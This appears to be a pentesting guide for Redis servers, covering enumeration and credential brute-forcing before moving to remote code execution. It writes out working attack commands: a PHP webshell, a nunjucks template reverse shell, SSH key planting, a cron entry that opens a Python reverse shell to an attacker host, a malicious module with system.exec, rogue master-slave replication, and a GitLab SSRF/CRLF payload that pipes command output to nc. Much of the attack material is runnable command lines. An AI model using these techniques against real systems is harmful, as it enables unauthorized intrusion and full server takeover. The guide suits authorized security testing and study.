6379 - Pentesting Redis

​Follow HackenProof to learn more about web3 bugs
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions

Basic Information

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker (from here). By default and commonly Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement ssl/tls. Learn how to run Redis with ssl/tls here.
Default port: 6379
6379/tcp open redis Redis key-value store 4.0.9

Automatic Enumeration

Some automated tools that can help to obtain info from a redis instance:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manual Enumeration

Redis is a text based protocol, you can just send the command in a socket and the returned values will be readable. Also remember that Redis can run using ssl/tls (but this is very weird).
In a regular Redis instance you can just connect using nc or you could also use redis-cli:
nc -vn 6379
redis-cli -h # sudo apt-get install redis-tools
The first command you could try is info. It may return output with information of the Redis instance or something like the following is returned:
-NOAUTH Authentication required.
In this last case, this means that you need valid credentials to access the Redis instance.

Redis Authentication

By default Redis can be accessed without credentials. However, it can be configured to support only password, or username + password. It is possible to set a password in redis.conf file with the parameter requirepass or temporary until the service restarts connecting to it and running: config set requirepass [email protected]$12E45. Also, a username can be configured in the parameter masteruser inside the redis.conf file.
If only password is configured the username used is "default". Also, note that there is no way to find externally if Redis was configured with only password or username+password.
In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it. In case you found valid credentials you need to authenticate the session after establishing the connection with the command:
AUTH <username> <password>
Valid credentials will be responded with: +OK

Authenticated enumeration

If the Redis instance is accepting anonymous connections or you found some valid credentials, you can start enumerating the service with the following commands:
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
[ ... Get config ... ]
Other Redis commands can be found here and here. Note that the Redis commands of an instance can be renamed or removed in the redis.conf file. For example this line will remove the command FLUSHDB:
rename-command FLUSHDB ""
You can also monitor in real time the Redis commands executed with the command monitor or get the top 25 slowest queries with slowlog get 25
Find more interesting information about more Redis commands here:​

Dumping Database

Inside Redis the databases are numbers starting from 0. You can find if anyone is used in the output of the command info inside the "Keyspace" chunk:
Or you can just get all the keyspaces (databases) with:
INFO keyspace
In that example the database 0 and 1 are being used. Database 0 contains 4 keys and database 1 contains 1. By default Redis will use database 0. In order to dump for example database 1 you need to do:
[ ... Indicate the database ... ]
[ ... Get Keys ... ]
[ ... Get Key ... ]
In case you get the follwing error -WRONGTYPE Operation against a key holding the wrong kind of value while running GET <KEY> it's because the key may be something else than a string or an integer and requires a special operator to display it.
To know the type of the key, use the TYPE command, example below for list and hash keys.
[ ... Type of the Key ... ]
[ ... Get list items ... ]
[ ... Get hash item ... ]
Dump the database with npm redis-dump or python redis-utils​
​Follow HackenProof to learn more about web3 bugs
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions

Redis RCE

Interactive Shell

​redis-rogue-server can automatically get an interactive shell or a reverse shell in Redis(<=5.0.5).
./ --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. You must know the path of the Web site folder:
[email protected]:~# redis-cli -h> config set dir /usr/share/nginx/html
OK> config set dbfilename redis.php
OK> set test "<?php phpinfo(); ?>"
OK> save
​If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.

Template Webshell

Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell.
For example, following this writeup, you can see that the attacker injected a rev shell in an html interpreted by the nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, '', function(){
Note that several template engines cache the templates in memory, so even if you overwrite them, the new one won't be executed. In this cases, either the developer left the automatic reload active or you need to do a DoS over the service (and expect that it will be relaunched automatically).


Please be aware config get dir result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of config get dir you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:
  1. 1.
    Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
  2. 2.
    Write the public key to a file : (echo -e "\n\n"; cat ~/; echo -e "\n\n") > spaced_key.txt
  3. 3.
    Import the file into redis : cat spaced_key.txt | redis-cli -h -x set ssh_key
  4. 4.
    Save the public key to the authorized_keys file on redis server:
    [email protected]:~# redis-cli -h> config set dir /var/lib/redis/.ssh
    OK> config set dbfilename "authorized_keys"
    OK> save
  5. 5.
    Finally, you can ssh to the redis server with private key : ssh -i id_rsa [email protected]
This technique is automated here:​


[email protected]:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h -x set 1
[email protected]:~# redis-cli -h config set dir /var/spool/cron/crontabs/
[email protected]:~# redis-cli -h config set dbfilename root
[email protected]:~# redis-cli -h save
The last exampleis for Ubuntu, for Centos, the above command should be: redis-cli -h config set dir /var/spool/cron/
This method can also be used to earn bitcoin :yam​

Load Redis Module

  1. 1.
    Following the instructions from you can compile a redis module to execute arbitrary commands.
  2. 2.
    Then you need some way to upload the compiled module
  3. 3.
    Load the uploaded module at runtime with MODULE LOAD /path/to/
  4. 4.
    List loaded modules to check it was correctly loaded: MODULE LIST
  5. 5.
    Execute commands:> system.exec "id"
    "uid=0(root) gid=0(root) groups=0(root)\n"> system.exec "whoami"
    "root\n"> system.rev 9999
  6. 6.
    Unload the module whenever you want: MODULE UNLOAD mymodule

LUA sandbox bypass

​Here you can see that Redis uses the command EVAL to execute Lua code sandboxed. In the linked post you can see how to abuse it using the dofile function, but apparently this isn't no longer possible. Anyway, if you can bypass the Lua sandbox you could execute arbitrary commands on the system. Also, from the same post you can see some options to cause DoS.
Some CVEs to escape from LUA:

Master-Slave Module

​The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
master redis : (Hacker's Server)
slave redis : (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h -p 6379
slaveof 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h -p 6379
set mykey hello
set mykey2 helloworld

SSRF talking to Redis

If you can send clear text request to Redis, you can communicate with it as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Therefore, if you find a SSRF vuln in a website and you can control some headers (maybe with a CRLF vuln) or POST parameters, you will be able to send arbitrary commands to Redis.

Example: Gitlab SSRF + CRLF to Shell

In Gitlab11.4.7 were discovered a SSRF vulnerability and a CRLF. The SSRF vulnerability was in the import project from URL functionality when creating a new project and allowed to access arbitrary IPs in the form [0:0:0:0:0:ffff:] (this will access, and the CRLF vuln was exploited just adding %0D%0A characters to the URL.
Therefore, it was possible to abuse these vulnerabilities to talk to the Redis instance that manages queues from gitlab and abuse those queues to obtain code execution. The Redis queue abuse payload is:
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
And the URL encode request abusing SSRF and CRLF to execute a whoami and send back the output via nc is:
For some reason (as for the author of where this info was took from) the exploitation worked with the git scheme and not with the http scheme.
​Follow HackenProof to learn more about web3 bugs
🐞 Read web3 bug tutorials
🔔 Get notified about new bug bounties
💬 Participate in community discussions